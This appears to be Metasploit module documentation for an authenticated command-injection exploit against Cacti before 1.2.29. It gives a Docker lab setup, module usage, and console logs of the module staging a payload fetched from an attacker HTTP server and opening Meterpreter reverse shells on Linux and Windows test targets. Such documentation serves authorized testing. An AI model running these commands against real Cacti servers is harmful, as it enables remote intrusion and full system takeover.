## Vulnerable Application

This module exploits an authenticated remote code execution vulnerability affecting Cacti versions prior to 1.2.29.
Authenticated users can upload a graph template through the /graph_templates.php endpoint, where the right_axis_label
parameter is susceptible to command injection. This flaw allows attackers to execute arbitrary commands on the affected
system.

Because the injection point imposes a payload length limitation, the module stages the attack by hosting the full
payload on an attacker-controlled HTTP server. The initial command retrieves the secondary payload using curl,
writes it to the Cacti web root, and executes it.

## Installation

### Docker installation of Cacti version 1.2.28
- Create the following files (based on the files from [here](https://github.com/vulhub/vulhub/tree/master/cacti/CVE-2022-46169)):
    - `docker-compose.yml`:
```
version: '2'
services:
  web:
    build: ./cacti
    ports:
     - "8080:80"
    depends_on:
     - db
    entrypoint:
     - bash
     - /entrypoint.sh
    volumes:
     - ./entrypoint.sh:/entrypoint.sh
    command: apache2-foreground
  db:
   image: mysql:5.7
   environment:
    - MYSQL_ROOT_PASSWORD=root
    - MYSQL_DATABASE=cacti
```
- `entrypoint.sh`:
```
#!/bin/bash
set -ex

wait-for-it db:3306 -t 300 -- echo "database is connected"
if [[ ! $(mysql --host=db --user=root --password=root cacti -e "show tables") =~ "automation_devices" ]]; then
    mysql --host=db --user=root --password=root cacti < /var/www/html/cacti/cacti.sql
    mysql --host=db --user=root --password=root cacti -e "UPDATE user_auth SET must_change_password='' WHERE username = 'admin'"
    mysql --host=db --user=root --password=root cacti -e "SET GLOBAL time_zone = 'UTC'"
fi

chown www-data:www-data -R /var/www/html
# first arg is `-f` or `--some-option`
if [ "${1#-}" != "$1" ]; then
  set -- apache2-foreground "$@"
fi

exec "$@"
```
- Create a `./cacti/` directory with `mkdir cacti`
- Add the following files in the `./cacti/` folder (based on the files from
  [here](https://github.com/vulhub/vulhub/tree/master/base/cacti/1.2.22):
    - `Dockerfile`:
```
FROM php:7.4-apache

RUN apt-get update && \
    apt-get install -y --no-install-recommends rrdtool snmp wget ca-certificates libsnmp-dev default-mysql-client \
            wait-for-it libjpeg62-turbo-dev libpng-dev libfreetype6-dev libgmp-dev libldap2-dev libicu-dev

RUN docker-php-ext-configure gd --with-freetype --with-jpeg &&\
    docker-php-ext-configure intl &&\
    docker-php-ext-configure pcntl --enable-pcntl &&\
    docker-php-ext-install pdo_mysql snmp gmp ldap sockets gd intl pcntl gettext

RUN mkdir /var/www/html/cacti &&\
    wget -qO- https://files.cacti.net/cacti/linux/cacti-1.2.28.tar.gz | tar zx -C /var/www/html/cacti --strip-components 1

COPY config.php /var/www/html/cacti/include/config.php
COPY cacti.ini /usr/local/etc/php/conf.d/cacti.ini
```
- `cacti.ini`
```
display_errors=off
memory_limit=512M
date.timezone=UTC
max_execution_time=120
```
- `config.php`
```
<?php
$database_type     = 'mysql';
$database_default  = 'cacti';
$database_hostname = 'db';
$database_username = 'root';
$database_password = 'root';
$database_port     = '3306';
$database_retries  = 5;
$database_ssl      = false;
$database_ssl_key  = '';
$database_ssl_cert = '';
$database_ssl_ca   = '';
$database_persist  = false;
$poller_id = 1;
$url_path = '/cacti/';
$cacti_session_name = 'Cacti';
$cacti_db_session = false;
$disable_log_rotation = false;
```
- Run `docker-compose up`
- Access http://127.0.0.1:8080/cacti
- Login with the `admin` user (password: `admin`)
- Follow the installation steps (accept every default settings and ignore the pre-installation checks suggestions)

Note that other versions can be installed this way by changing the `tar` file name in `Dockerfile` (`cacti-1.2.28.tar.gz`).

### Cacti on Windows
Download and run a Cacti installer from [here](https://files.cacti.net/cacti/windows/Archive/). The `admin` password should be put in a file called `Cacti-Passwords.txt` by the installer, which is in the same location the installer was run.
Follow the same installation steps as for the Docker installation.

### Setup a new user
- Login with the `admin` user (password: `admin`)
- Go to `Configuration` > `Users`
- Click on the `+` sign
- Enter the `User Name`, `Password` and check the `Enabled` option.
- Click `Create`
- Go to the `Permissions` tab and set the `Import Templates` permission in `Template Editor`
- Click `Save`


## Verification Steps

1. Install the application
1. Start msfconsole
1. Do: `use linux/http/cacti_graph_template_rce`
1. Do: `set target <target>`
1. Do: `run rhost=<target address> rport=<target port> lhost=<local address> username=<username> password=<password>`
1. You should get a shell.

## Options

### USERNAME
The user to login with (default `admin`).

### PASSWORD
The password to login with (default `admin`)

## Scenarios
### Linux target Cacti 1.2.28
```
msf exploit(linux/http/cacti_graph_template_rce) > set payload cmd/linux/http/x64/meterpreter/reverse_tcp
payload => cmd/linux/http/x64/meterpreter/reverse_tcp
msf exploit(linux/http/cacti_graph_template_rce) > run rhost=172.16.199.136 rport=8080 lhost=172.16.199.1 srvhost=172.16.199.1 srvport=9090 username=admin password=admin
[*] Exploit running as background job 1.
[*] Exploit completed, but no session was created.

[*] Started reverse TCP handler on 172.16.199.1:4444
msf exploit(linux/http/cacti_graph_template_rce) > [*] Running automatic check ("set AutoCheck false" to disable)
[*] Checking Cacti version
[+] The web server is running Cacti version 1.2.28
[*] Attempting login with user `admin` and password `admin`
[+] Logged in
[+] The target is vulnerable.
[*] Using URL: http://172.16.199.1:9090/y
[*] Template update response: HTTP 200
[*] Trigger template update response: HTTP 200
[*] 172.16.199.136   cacti_graph_template_rce - Request 'GET /y'
[*] 172.16.199.136   cacti_graph_template_rce - Sending payload ...
[+] PHP payload uploaded successfully to /cacti/X.php
[*] Template update response: HTTP 200
[*] Trigger template update response: HTTP 200
[*] Sending stage (3090404 bytes) to 172.16.199.136
[+] Deleted X.php
[*] Meterpreter session 1 opened (172.16.199.1:4444 -> 172.16.199.136:44642) at 2025-12-21 23:27:10 -0800
msf exploit(linux/http/cacti_graph_template_rce) > sessions -i -1
[*] Starting interaction with 1...

meterpreter > getuid
sysServer username: www-data
infometerpreter > sysinfo
Computer     : 172.18.0.3
OS           : Debian 11.5 (Linux 6.8.0-90-generic)
Architecture : x64
BuildTuple   : x86_64-linux-musl
Meterpreter  : x64/linux
meterpreter > exit
```

### PHP target Cacti 1.2.28
```
msf exploit(linux/http/cacti_graph_template_rce) > set payload php/meterpreter/reverse_tcp
payload => php/meterpreter/reverse_tcp
msf exploit(linux/http/cacti_graph_template_rce) > set target 1
target => 1
msf exploit(linux/http/cacti_graph_template_rce) > run rhost=172.16.199.136 rport=8080 lhost=172.16.199.1 srvhost=172.16.199.1 srvport=9090 username=admin password=admin
[*] Exploit running as background job 2.
[*] Exploit completed, but no session was created.

[*] Started reverse TCP handler on 172.16.199.1:4444
msf exploit(linux/http/cacti_graph_template_rce) > [*] Running automatic check ("set AutoCheck false" to disable)
[*] Checking Cacti version
[+] The web server is running Cacti version 1.2.28
[*] Attempting login with user `admin` and password `admin`
[+] Logged in
[+] The target is vulnerable.
[*] Using URL: http://172.16.199.1:9090/k
[*] Template update response: HTTP 200
[*] Trigger template update response: HTTP 200
[*] 172.16.199.136   cacti_graph_template_rce - Request 'GET /k'
[*] 172.16.199.136   cacti_graph_template_rce - Sending payload ...
[+] PHP payload uploaded successfully to /cacti/B.php
[*] Template update response: HTTP 200
[*] Trigger template update response: HTTP 200
[*] Sending stage (41224 bytes) to 172.16.199.136
[+] Deleted B.php
[+] Deleted f.php
[*] Meterpreter session 2 opened (172.16.199.1:4444 -> 172.16.199.136:46294) at 2025-12-21 23:40:26 -0800
[*] Server stopped.

msf exploit(linux/http/cacti_graph_template_rce) > sessions -i -1
[*] Starting interaction with 2...

meterpreter > getuid
Server username: www-data
meterpreter > sysinfo
Computer        : 6e0f5eba525a
OS              : Linux 6e0f5eba525a 6.8.0-90-generic #91~22.04.1-Ubuntu SMP PREEMPT_DYNAMIC Thu Nov 20 15:20:45 UTC 2 x86_64
Architecture    : x64
System Language : C
Meterpreter     : php/linux
meterpreter >
```

### Windows Command Target Cacti 1.2.27
```
msf exploit(linux/http/cacti_graph_template_rce) > set payload cmd/windows/http/x64/meterpreter/reverse_tcp
payload => cmd/windows/http/x64/meterpreter/reverse_tcp
msf exploit(linux/http/cacti_graph_template_rce) > set target 2
target => 2
msf exploit(linux/http/cacti_graph_template_rce) > run rhost=172.16.199.131 rport=80 lhost=172.16.199.1 srvhost=172.16.199.1 srvport=9090 username=admin password=ceb045830c850c4
msf exploit(multi/http/cacti_graph_template_rce) > rexploit
[*] Reloading module...
[*] Exploit running as background job 132.
[*] Exploit completed, but no session was created.

[*] Started reverse TCP handler on 172.16.199.1:8477
msf exploit(multi/http/cacti_graph_template_rce) > [*] Running automatic check ("set AutoCheck false" to disable)
[*] Checking Cacti version
[+] The web server is running Cacti version 1.2.27
[*] Attempting login with user `admin` and password `ceb045830c850c4`
[+] Logged in
[+] The target is vulnerable.
[*] Using URL: http://172.16.199.1:9090/g
[*] win command cmd\x20/c\x20r.bat
[*] Template update response: HTTP 200
[*] Trigger template update response: HTTP 200
[*] 172.16.199.141   cacti_graph_template_rce - Request 'GET /g'
[*] 172.16.199.141   cacti_graph_template_rce - Sending payload ...
[+] PHP payload uploaded successfully to /cacti/d.php
[*] Template update response: HTTP 200
[*] Trigger template update response: HTTP 200
[*] Sending stage (230982 bytes) to 172.16.199.141
[+] Deleted d.php
[+] Deleted t.php
[*] Meterpreter session 5 opened (172.16.199.1:8477 -> 172.16.199.141:53031) at 2025-12-22 19:15:00 -0800

msf exploit(multi/http/cacti_graph_template_rce) > sessions -i -1
[*] Starting interaction with 5...

meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM
meterpreter >
[*] Server stopped.

meterpreter > sysinfo
Computer        : DESKTOP-0OPTL76
OS              : Windows 10 22H2+ (10.0 Build 19045).
Architecture    : x64
System Language : en_US
Domain          : WORKGROUP
Logged On Users : 2
Meterpreter     : x64/windows
meterpreter >
```
